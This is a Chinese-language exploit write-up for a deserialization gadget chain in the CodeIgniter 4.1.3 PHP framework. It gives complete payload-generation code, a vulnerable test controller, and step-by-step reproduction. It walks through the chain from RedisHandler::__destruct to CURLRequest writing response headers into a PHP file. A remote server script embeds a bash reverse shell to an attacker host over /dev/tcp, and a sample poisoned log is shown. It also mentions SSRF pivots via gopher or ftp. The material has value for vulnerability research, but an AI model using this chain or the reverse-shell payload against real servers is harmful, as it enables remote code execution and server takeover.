codeigniter 4.1.3 gadget chain

EXP code

找到一条很有意思的codeigniter框架的链。

<?php
namespace CodeIgniterHTTP {
    class CURLRequest {
        protected $config = [
            "debug" => "./eee.php"
        ];
    }
}

namespace CodeIgniterSessionHandlers {
    class MemcachedHandler{
        public function __construct($memcached, $url){
            $this->memcached = $memcached;
            $this->lockKey = $url;
        }
    }
}

namespace CodeIgniterCacheHandlers {
    class RedisHandler{
        public $redis;
        public function __construct($redis){
            $this -> redis = $redis;
        }
    }
}


namespace {
    $ip = $argv[1];
    $port = $argv[2];
    $exp = array(
        new CodeIgniterCacheHandlersRedisHandler(
            new CodeIgniterSessionHandlersMemcachedHandler(
                new CodeIgniterHTTPCURLRequest(),
                "http://$ip:$port/"
            )
        )
    );


    echo urlencode(serialize($exp));
}

复现

下载最新的CodeIgniter框架,将以下代码写入app/controller/Home.php

<?php
namespace AppControllers;

class Home extends BaseController
{
    public function index()
    {
        $obj = @unserialize($_GET['obj']);
        var_dump($obj);
        return view('welcome_message');
    }
}

准备一个远程服务器,并填入php代码<?php header("X-Powered-By: <?php phpinfo();");index.php。之后在index.php所在目录启动一个简单的php http服务器。

执行上述exp并复制exp的输出。

php exp.php remote_server_ip remote_server_port

在本地启动CodeIgniter框架,将exp的输出粘贴到obj参数中。然后,此exp将发送请求到远程服务器,并在本地写入eee.php。访问eee.php将执行phpinfo。

漏洞原理

新gadget的起始向量仍然是CodeIgniterCacheHandlersRedisHandler::__destruct方法。

public function __destruct()
{
    if (isset($this->redis))
    {
        $this->redis->close();
    }
}

redis设置为CodeIgniterSessionHandlersMemcachedHandler'类的对象,然后我们跳到CodeIgniterSessionHandlersMemcachedHandler::close方法。

public function close(): bool
{
    if (isset($this->memcached))
    {
        isset($this->lockKey) && $this->memcached->delete($this->lockKey);
        ...

lockKey分配给一个特别准备的远程服务器ip,memcached分配给一个CodeIgniterHTTPCURLRequest类的对象,这个对象,在config中设置debug选项为一个php文件。

之后我们将跳到CodeIgniterHTTPCURLRequest::delete方法。

public function delete(string $url, array $options = []): ResponseInterface
{
    return $this->request('delete', $url, $options);
}

这个方法将http请求发送到设置的远程服务器。并且后续的调用将设置$curlOptions[CURLOPT_STDERR]为我们之前指定的php文件。设置$curlOptions的方法是CodeIgniterHTTPCURLRequest::setCURLOptions

protected function setCURLOptions(array $curlOptions = [], array $config = [])
{
...
    if ($config['debug'])
    {
        $curlOptions[CURLOPT_VERBOSE] = 1;
        $curlOptions[CURLOPT_STDERR]  = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');
    }
...
}

设置好的远程服务器将对发出的请求作出响应,并在响应头中返回一段php代码。这段php代码会被写入我们指定的curl日志文件中,也就是那个php文件。

远程服务器上的index.php。

<?php
header("X-Powered-By: <?php system('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');?>");

恶意的curl日志文件。

* Expire in 0 ms for 6 (transfer 0x???)
*   Trying ???...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x???)
* Connected to ??? (???) port ??? (#0)
> DELETE / HTTP/1.1
Host: ???
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

< HTTP/1.1 200 OK
< Host: ???
< Date: Thu, 26 Aug 2021 06:07:19 GMT
< Connection: close
< X-Powered-By: <?php system('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');?>
< Content-type: text/html; charset=UTF-8
< 
* Closing connection 0

影响

  1. 如上所示,这可能导致恶意的php文件被写入服务器,导致攻击者获取服务器权限。
  2. 当攻击者无法写入恶意文件时,他可以用gopher或ftp协议代替上述http协议来攻击内网服务。